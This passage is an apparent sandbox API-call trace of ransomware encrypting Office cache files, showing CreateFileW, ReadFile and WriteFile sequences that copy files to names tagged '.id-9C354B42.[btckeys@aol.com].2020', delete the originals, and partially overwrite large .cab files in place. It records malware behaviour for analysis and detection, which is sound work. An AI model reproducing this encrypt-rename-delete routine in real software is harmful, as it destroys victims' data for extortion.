(lpString1=".docx", lpString2="R.cab") returned -1 [0070.186] lstrlenW (lpString=".pdf") returned 4 [0070.186] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString=".xls") returned 4 [0070.186] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString=".xlsx") returned 5 [0070.186] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0070.186] lstrlenW (lpString=".ppt") returned 4 [0070.186] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.186] lstrlenW (lpString=".zip") returned 4 [0070.186] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString=".rar") returned 4 [0070.186] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString=".bz2") returned 4 [0070.186] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0070.186] lstrlenW (lpString=".7z") returned 3 [0070.186] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0070.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.186] lstrlenW (lpString=".dbf") returned 4 [0070.186] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0070.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.186] lstrlenW (lpString=".1cd") returned 4 [0070.186] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0070.186] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0070.187] lstrlenW (lpString=".jpg") returned 4 [0070.187] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0070.187] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0070.187] lstrlenW (lpString="Proof.msi") returned 9 [0070.187] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0070.187] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=875520) returned 1 [0070.187] CloseHandle (hObject=0x174) returned 1 [0070.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0070.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0070.188] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.188] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0070.188] GetLastError () returned 0x0 [0070.189] ReadFile (in: hFile=0x174, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0070.340] WriteFile (in: hFile=0x1e8, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0070.786] ReadFile (in: hFile=0x174, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0070.786] WriteFile (in: hFile=0x1e8, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0070.787] SetEndOfFile (hFile=0x1e8) returned 1 [0070.787] CloseHandle (hObject=0x1e8) returned 1 [0070.799] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.799] SetEndOfFile (hFile=0x174) returned 1 [0070.807] CloseHandle (hObject=0x174) returned 1 [0070.807] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0070.808] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0070.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.808] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.808] lstrlenW (lpString=".doc") returned 4 [0070.808] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.808] lstrlenW (lpString=".docx") returned 5 [0070.808] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0070.808] lstrlenW (lpString=".pdf") returned 4 [0070.808] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.809] lstrlenW (lpString=".xls") returned 4 [0070.809] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.809] lstrlenW (lpString=".xlsx") returned 5 [0070.809] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0070.809] lstrlenW (lpString=".ppt") returned 4 [0070.809] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.809] lstrlenW (lpString=".zip") returned 4 [0070.809] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.809] lstrlenW (lpString=".rar") returned 4 [0070.809] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.809] lstrlenW (lpString=".bz2") returned 4 [0070.809] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.809] lstrlenW (lpString=".7z") returned 3 [0070.809] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.809] lstrlenW (lpString=".dbf") returned 4 [0070.809] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.809] lstrlenW (lpString=".1cd") returned 4 [0070.809] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.809] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.809] lstrlenW (lpString=".jpg") returned 4 [0070.809] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString=".doc") returned 4 [0070.810] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0070.810] lstrlenW (lpString=".docx") returned 5 [0070.810] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0070.810] lstrlenW (lpString=".pdf") returned 4 [0070.810] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0070.810] lstrlenW (lpString=".xls") returned 4 [0070.810] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0070.810] lstrlenW (lpString=".xlsx") returned 5 [0070.810] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0070.810] lstrlenW (lpString=".ppt") returned 4 [0070.810] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString=".zip") returned 4 [0070.810] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0070.810] lstrlenW (lpString=".rar") returned 4 [0070.810] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0070.810] lstrlenW (lpString=".bz2") returned 4 [0070.810] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0070.810] lstrlenW (lpString=".7z") returned 3 [0070.810] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString=".dbf") returned 4 [0070.810] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString=".1cd") returned 4 [0070.810] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0070.810] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0070.810] lstrlenW (lpString=".jpg") returned 4 [0070.810] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0070.811] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0070.811] lstrlenW (lpString="Proof.msi") returned 9 [0070.811] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.929] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=881152) returned 1 [0070.929] CloseHandle (hObject=0x200) returned 1 [0070.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0070.930] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0070.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0070.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0070.930] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0070.935] GetLastError () returned 0x0 [0070.936] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0xd7200, lpOverlapped=0x0) returned 1 [0071.302] WriteFile (in: hFile=0x1d4, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0071.332] ReadFile (in: hFile=0x200, lpBuffer=0x3da0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0071.332] WriteFile (in: hFile=0x1d4, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0071.332] SetEndOfFile (hFile=0x1d4) returned 1 [0071.334] CloseHandle (hObject=0x1d4) returned 1 [0071.577] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0071.577] SetEndOfFile (hFile=0x200) returned 1 [0071.587] CloseHandle (hObject=0x200) returned 1 [0071.587] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0071.588] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0071.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.588] lstrlenW (lpString=".doc") returned 4 [0071.588] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.588] lstrlenW (lpString=".docx") returned 5 [0071.588] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0071.588] lstrlenW (lpString=".pdf") returned 4 [0071.588] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.588] lstrlenW (lpString=".xls") returned 4 [0071.588] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.588] lstrlenW (lpString=".xlsx") returned 5 [0071.588] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0071.588] lstrlenW (lpString=".ppt") returned 4 [0071.588] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0071.588] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.588] lstrlenW (lpString=".zip") returned 4 [0071.589] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0071.589] lstrlenW (lpString=".rar") returned 4 [0071.589] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0071.589] lstrlenW (lpString=".bz2") returned 4 [0071.589] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0071.589] lstrlenW (lpString=".7z") returned 3 [0071.589] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0071.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.589] lstrlenW (lpString=".dbf") returned 4 [0071.589] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0071.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.589] lstrlenW (lpString=".1cd") returned 4 [0071.589] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0071.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.589] lstrlenW (lpString=".jpg") returned 4 [0071.589] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0071.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.589] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.589] lstrlenW (lpString=".doc") returned 4 [0071.589] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.589] lstrlenW (lpString=".docx") returned 5 [0071.589] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0071.589] lstrlenW (lpString=".pdf") returned 4 [0071.589] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.589] lstrlenW (lpString=".xls") returned 4 [0071.589] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.590] lstrlenW (lpString=".xlsx") returned 5 [0071.590] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0071.590] lstrlenW (lpString=".ppt") returned 4 [0071.590] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0071.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.590] lstrlenW (lpString=".zip") returned 4 [0071.590] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0071.590] lstrlenW (lpString=".rar") returned 4 [0071.590] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0071.590] lstrlenW (lpString=".bz2") returned 4 [0071.590] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0071.590] lstrlenW (lpString=".7z") returned 3 [0071.590] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0071.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.590] lstrlenW (lpString=".dbf") returned 4 [0071.590] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0071.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.590] lstrlenW (lpString=".1cd") returned 4 [0071.590] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0071.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0071.590] lstrlenW (lpString=".jpg") returned 4 [0071.590] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0071.590] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0071.591] lstrlenW (lpString="Proof.cab") returned 9 [0071.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.591] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=21064532) returned 1 [0071.591] CloseHandle (hObject=0x200) returned 1 [0071.591] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0071.592] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0071.592] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0072.850] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0072.850] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0072.850] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0072.850] ReadFile (in: hFile=0x200, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.861] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0072.861] ReadFile (in: hFile=0x200, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.867] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0072.867] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0072.867] ReadFile (in: hFile=0x200, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.891] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0072.891] WriteFile (in: hFile=0x200, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0073.267] SetEndOfFile (hFile=0x200) returned 1 [0073.268] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f54fa0 [0073.524] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0073.524] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.525] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0073.525] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.527] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0073.527] WriteFile (in: hFile=0x200, lpBuffer=0x3f54fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f54fa0*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0073.529] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f54fa0 | out: hHeap=0x4b0000) returned 1 [0073.529] CloseHandle (hObject=0x200) returned 1 [0075.578] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0075.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0075.578] lstrlenW (lpString="C:\\MSOCache\\All 